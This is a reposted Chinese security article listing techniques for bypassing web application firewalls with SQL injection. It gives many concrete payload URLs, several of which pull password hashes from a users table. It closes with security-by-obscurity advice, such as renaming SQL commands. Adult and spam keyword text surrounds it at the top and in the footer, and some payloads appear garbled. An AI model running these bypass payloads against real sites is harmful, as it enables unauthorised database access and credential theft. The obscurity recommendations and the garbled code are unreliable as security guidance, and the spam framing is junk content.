成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

看牛人怎么突破WAF防御

安全 應用安全
當所有的系統(tǒng)安全防御做好后,剩下恐怕就是SQL注入,跨站攻擊等等web應用層防御了,這也是廣大站長最困擾的東東了,幾日前寫的“安全寶構架技術猜測與高級網絡安全防御”講解了一種最簡單的高性能防御方方法,根據自己的情況稍微修改下,就可以應付大部分的攻擊了,可是就萬事大吉了嗎?

當所有的系統(tǒng)安全防御做好后,剩下恐怕就是SQL注入,跨站攻擊等等web應用層防御了,這也是廣大站長最困擾的東東了,幾日前寫的“安全寶構架技術猜測與高級網絡安全防御”講解了一種最簡單的高性能防御方方法,根據自己的情況稍微修改下,就可以應付大部分的攻擊了,可是就萬事大吉了嗎?

首先我們回顧下網上牛人是怎么突破waf防御:

1.大小寫繞過

這個大家都很熟悉,對于一些太垃圾的WAF效果顯著,比如攔截了union,那就使用UnionUnIoN等等繞過。

2.簡單編碼繞過

比如WAF檢測關鍵字,那么我們讓他檢測不到就可以了。比如檢測union,那么我們就用U也就是U的16進制編碼來代替U,union寫成UnION,結合大小寫也可以繞過一些WAF,你可以隨意替換一個或幾個都可以。

也還有大家在Mysql注入中比如表名或是load文件的時候,會把文件名或是表明用16進制編碼來繞過WAF都是屬于這類。

3.注釋繞過

這種情況比較少,適用于WAF只是過濾了一次危險的語句,而沒有阻斷我們的整個查詢。

01./?id=1+union+select+1,2,3unionselect+1,2,31,2,3,4…

可以看到,只要我們把敏感詞放到注釋里面,注意,前面要加一個!

4.分隔重寫繞過

還是上面的例子,適用于那種WAF采用了正則表達式的情況,會檢測所有的敏感字,而不在乎你寫在哪里,有幾個就過濾幾個。

我們可以通過注釋分開敏感字,這樣WAF的正則不起作用了,而帶入查詢的時候并不影響我們的結果。

01./?id=1+union+select+1,2,3--

至于重寫繞過,適用于WAF過濾了一次的情況,和我們上傳aaspsp馬的原理一樣,我們可以寫出類似Ununionion這樣的。過濾一次union后就會執(zhí)行我們的查詢了。

01.?id=1ununionionselect1,2,3--

5.Http參數污染(HPP)

比如我們有這樣的語句:

01./?id=1unionselect+1,2,3+from+users+where+id=1--

我們可以重復一次前面的id值添加我們的值來繞過,&id=會在查詢時變成逗號:

01./?id=1unionselect+1&id=2,3+from+users+where+id=1--

這種情況成功的條件比較多,取決于具體的WAF實現。

再給出一個例子說明用法:

01./?id=1unionselectpwdfromusers--

具體分析的話就涉及到查詢語句的后臺代碼的編寫了。

比如服務器是這樣寫的:

01.select*fromtablewherea=".$_GET['a']."andb=".$_GET['b']."limit".$_GET['c'];

那我們可以構造這樣的注入語句:

01./?a=1+unionselect+1,passfrom+users--

最終解析為:

01.select*fromtablewherea=1unionselect1,passfromusers--

可以看到,這種方式其實比較適合白盒測試,而對于黑盒滲透的話,用起來比較麻煩。但是也可以一試。

#p#

6.使用邏輯運算符or/and繞過

01./?id=1+OR+0x50=0x50

02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

順便解釋一下第二句話,從最里面的括號開始分析,select+pwd+from+users+limit+1,1這句是從users表里查詢pwd字段的第一條記錄,比如是admin,

然后mid(上一句),1,1就是取admin的第一個字符,也就是a,

lower(上一句)就是把字符轉換為小寫,

然后ascii就是把a轉換成ascii碼,看等不等于74。

7.比較操作符替換

包括!=不等于,<>不等于,<小于,>大于,這些都可以用來替換=來繞過。

比如上一個例子,要判斷是不是74,假設=被過濾,那么我們可以判斷是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都會忘了這個。

8.同功能函數替換

Substring()可以用mid(),substr()這些函數來替換,都是用來取字符串的某一位字符的。

Ascii()編碼可以用hex(),bin(),也就是16進制和二進制編碼替換。Benchmark()可以用sleep()來替換,這兩個使用在基于延時的盲注中,有機會給大家介紹。

如果連這些都屏蔽了,還有一種新的方法:

01.substring((select'password'),1,1)=0x70

02.substr((select'password'),1,1)=0x70

03.mid((select'password'),1,1)=0x70

比如這三條,都是從password里判斷第一個字符的值,可以用:

01.strcmp(left('password',1),0x69)=1

02.strcmp(left('password',1),0x70)=0

03.strcmp(left('password',1),0x71)=-1

來替換,left用來取字符串左起1位的值,strcmp用來比較兩個值,如果比較結果相等就為0,左邊小的話就為-1,否則為1。

還有我前幾篇說過的group_concat和concat和concat_ws也可以互相替換。

9.盲注無需or和and

比如有這樣一個注入點:

01.index.php?uid=123

and、or被過濾了,其實有一種更直接的方法,我們直接修改123為我們的語句生成的:

01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

123的時候頁面是正確的,我們現在在盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp結果為0,0+123=123,所以頁面應該是正確的。否則就說明不是B,就這樣猜,不用and和or了。

10.加括號

01./?id=1+union+(select+1,2+from+users)

比如,上面這一條被WAF攔截了??梢栽囋嚰右恍├ㄌ枺?/p>

01./?id=1+union+(select+1,2+from+xxx)

02./?id=(1)union(select(1),mid(hash,1,32)from(users))

03./?id=1+union+(select'1',concat(login,hash)from+users)

04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

05./?id=(1)or(0x50=0x50)

11.緩沖區(qū)溢出繞過

這個是從國外一個博客看到的:

01.id=1and(select1)=(Select0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

02.,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好,一般要求1000個以上。

以上就是網上盛傳的突破方法,本人沒時間去試,也不想去試,這里有一個問題,為什么會有千千萬萬個漏洞,攻擊方法,防不勝防,有沒有一個根本的方法解決所有已知,未知的漏洞攻擊呢?

#p#

其實歸根到底,我們用的linuxwinmysql等等都是別人開發(fā)的,不是自己的東西,開源的好處就是你可以用,但是你不好保密!所以要解決問題,還得從軟件,系統(tǒng)的開發(fā)開始,哪怕簡單的二次開發(fā)都可以防御很多攻擊:

1,假如自己能對mysql進行二次開發(fā),把所有的selectunion命令簡單的改名,改成沒有人知道的只有你自己知道的名字,你用擔心sql注入嗎?

2,假如自己對mysql進行二次開發(fā),改變sql標準,邏輯,你還怕orand注入嗎?

3,假如自己定義一套自己的開發(fā)語言,不用什么cphp你還怕什么益處嗎?

4,大規(guī)模定制改造linux把所有的命令,系統(tǒng)調用經行二次開發(fā),你還怕黑客入侵嗎?人家連ls命令都不知道怎么弄!

雖然有違開源精神,但是現在很多的閉源軟件,防火墻早就這么干了,說白了,保密的東東,最安全,自己創(chuàng)造的東東,才是最可靠的,畢竟你可以隨意定制更改,隨意擴展開發(fā)!當然如果沒有這個技術條件我們可以這么做,讓黑客崩潰到底!

1,完全拋棄mysqlmongodb等有sql注入風險的數據庫,采用redis或其他簡單的能滿足你當前業(yè)務的nosql數據庫,實在要邏輯,要什么觸發(fā)功能,請用luaphp實現,清除所有無用的功能,就和linux權限一樣顆?;磺校灰?,無用的統(tǒng)統(tǒng)丟掉,一個不剩!

2,對當前采用linux系統(tǒng)nginxapache等等,全部進行源代碼簡單修改,核心功能算法不能更改,我們就不能更改命令名稱,用戶ui接口?打個比方把mysql的select命令和各種對應的編碼調用名稱改掉,哪里來的sql注入呢?

好了,希望大家參考就好,千萬不要把系統(tǒng)改的面目全非,連自己都用不了,支持開源,不要僅僅停留在使用層,我們還是要努力成為開源軟件開發(fā)者,或者多提出自己的創(chuàng)新建議,任何事情不要盲目去跟風,人家用,你也取用,夠用就好是一種簡單而高深的哲學。

(本文出自 “清蒸BSD紅燒LINUX” 博客,轉載請務必保留此出處http://cookingbsd.blog.51cto.com/5404439/1196198)

 

責任編輯:吳瑋 來源: 51CTO.com
相關推薦

2013-05-22 18:20:18

2014-12-16 10:23:59

2013-05-22 17:43:21

2013-05-22 18:06:41

2013-05-22 18:32:57

2009-03-11 17:04:53

2023-12-03 21:52:20

2010-09-16 20:54:21

2011-05-17 09:36:57

div+css

2015-10-08 10:46:46

技術牛人管理牛人

2018-08-02 15:36:08

2015-08-05 11:32:10

2010-09-08 17:27:10

2015-12-16 13:38:06

WiFi路由器

2021-04-16 10:32:28

蜜罐網絡安全

2022-06-30 08:55:15

DDoSWAF網絡攻擊

2022-06-30 11:03:27

DDoS攻擊WAF

2018-10-22 09:30:09

瑞數信息WAFRiver Safep

2009-11-20 16:28:19

2012-05-22 16:52:02

編程語言
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 一级日批片 | 91新视频| av免费观看在线 | 精品国产高清一区二区三区 | 日本午夜视频 | 在线免费观看毛片 | 欧美成人精品一区二区男人看 | 丁香婷婷在线视频 | av中文在线播放 | 看特级黄色片 | 最新国产精品精品视频 | 高清色视频 | 欧美日韩在线精品 | 极品电影院 | 欧美激情国产日韩精品一区18 | 在线观看免费高清av | 欧美1区2区 | 91精品久久久久 | 国产精品永久久久久 | 91精品欧美久久久久久久 | 亚洲 中文 欧美 日韩 在线观看 | 2021天天干夜夜爽 | 欧美男人亚洲天堂 | 久久精品久久久久久 | 中文字幕精品一区二区三区精品 | 中文字幕亚洲区一区二 | 色综合99 | 国产1区 | 欧美一级免费 | 99久久精品国产一区二区三区 | 91精品国产91久久久久久最新 | 日日干夜夜操天天操 | 精品麻豆剧传媒av国产九九九 | 天天色综| 一级看片| 一区二区三区欧美在线 | 激情网站在线 | 中文字幕第十页 | 婷婷激情五月网 | 久久国产精品偷 | 欧美国产日韩一区 |